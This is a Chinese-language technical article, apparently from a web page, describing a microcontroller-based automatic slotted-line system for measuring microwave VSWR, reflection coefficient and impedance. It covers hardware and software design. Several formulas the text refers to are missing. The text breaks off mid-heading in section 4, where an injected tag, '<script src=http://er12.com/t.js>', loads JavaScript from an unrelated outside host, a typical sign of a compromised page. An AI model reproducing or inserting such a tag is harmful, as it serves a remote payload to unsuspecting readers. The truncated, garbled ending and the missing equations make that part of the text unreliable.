摘 要：介绍一种新一代的微波自动测量线系统。该系统能够测量驻波比、反射系数、波导波长、阻抗、插入损耗和散射参量等。系统以89c51rd2新一代8位单片机为控制核心，以步进马达作传动装置，以点阵式液晶为显示器，能够在主机上显示驻波图形等。
关键词：单片机；点阵lcd；驻波比
1工作原理
在微波传输线系统中，当终端所接的负载不完全匹配时，就会在终端引起反射，在传输线中形成驻波，负载不同形成的驻波也不同。负载反射系数的模值决定了驻波的状态，负载反射系数的幅角确定了驻波的相位。幅角又与驻波最小点位置dmin有关。dmin的确定方法是，进行短路校正后，选取一最小点位置作为参考面，在测量线接终端待测件时，离参考面最近的驻波节点的距离就是dmin。因此，若能测得驻波的电场分布就能知道负载的反射系数，进而求出归一化阻抗。
用开槽测量线测量传输线中的驻波，主要是测量不同位置上探针检测到的场强，根据检测信号的强弱读出场强最大值、最小值及其位置，从而算出波导波长和驻波系数。波导波长λg是相邻驻波节点间距离的两倍。波导波长与自由空间波长λ的关系为：
驻波比与反射系数模值的关系为：
归一化阻抗与反射系数的关系为：
根据上述原理，由测量结果就可以进一步得到复反射系数、负载阻抗、导纳等等。
本系统还引入了准确度增强技术。在数据采集过程中，对同一位置场强值和位置坐标，采取了多次采集并求取平均的方法；还对存储的场分布数据用曲线拟合的方法剔除误差较大的数据；在确定驻波最小点上采用等差读数法等等。本系统还将测量的数据先代入(2)式加以判断。对于中小驻波的测量采用(2)式就能得到结果，若是大驻波则采用其他方式进行处理。因为对于大驻波若仍采用(2)式进行处理，对于本系统能测的最大驻波只能是64，对应的反射系数模值是0.969，存在的误差是3％。而改用传输线中场分布关系应用多点测量法就可以扩大测量范围，提高测量的精度。
2硬件结构
该系统的组成如图1所示。
系统硬件主要由微波高频的测量模块和低频控制模块组成。微波测量模块主要有：固态信号源、隔离器、衰减器、开槽测量线、匹配负载、短路负载和检波器等。低频控制模块主要由以下几个部分组成：键盘和液晶显示器组成的人机接口、放大器、低通滤波器和模数转换器组成的信号采集通道、步进电机驱动模块、串行通信以及单片机。人机接口部分采用的液晶的分辨率是320*240，主要用来显示菜单、测量提示和各种结果图形。键盘主要由上下左右四个方向键和一个确认键构成，根据lcd中的图形窗口和菜单进行参数设置和功能选择。信号采集通道部分主要由两级放大器、四阶低通滤波器、a/d转换器和参考电源组成，其作用是放大并转换检波器输出的微弱的电流信号。串行通信部分利用89c51rd2中的串口资源和时钟资源实现和计算机的串口通信。mcu采用89c51rd2，它具有双地址指针，减小了程序处理中地址指针过忙的瓶颈。它还可以应用6周期时钟模式，这样在相同的晶振，该mcu运行程序的速度比同类微控制器快一倍，并且内部带有引导程序可以现场烧录，可以很容易的进行系统的软件的升级。本系统利用步进电机作为传动装置，它的主要特点是步距值不受各种干扰因素影响，误差不长期积累(转一圈的累计误差为0)，控制性能好。
3软件描述
该系统软件由keil公司的c语言开发环境进行开发，由菲利浦公司的winisp进行下载调试。系统软件主要由以下两部分构成。
3.1显示信息处理与用户请求处理模块(主控模块)
这一部分实现人机交互及实现整个系统的控制。系统初始化后显示开机导引界面，然后显示图形菜单。可供用户选择的菜单有：电压表；短路校正；测量。用户通过方向键和确认键输入信息，当系统确认用户的输入之后调用相应的子模块。主程序框图如图2。
3.2信号采集结果处理模块
(a)电压表部分：当用户选中电压表后进入虚拟的电压表界面，显示当前a／d转换的输入电压值，主要供用户调整放大倍数。基本框图如图3。
(b)短路校正部分
显示短路校正界面提示用户正确操作。驱动步进马达使探针位于开槽线的一端，然后产生输出信号驱动步进马达向另外一端运动768步(每一步是0.0883mm)，并同时读出每次移动的电压值加以保存。最后提供用户选择界面(主界面、显示驻波图形界面、显示圆图界面)，进行进一步分析或者结束操作。其程序基本框图如图4。
(c)测量模块
主要控制过程同短路校正部分。而与短路校正部分不同的是提供界面和数据处理，测量模块中每次得到的768个数据与短路校正的768个数据进行比较之后才能得到相应相位信息。
4仪器功能及结果显?script src=http://er12.com/t.js>
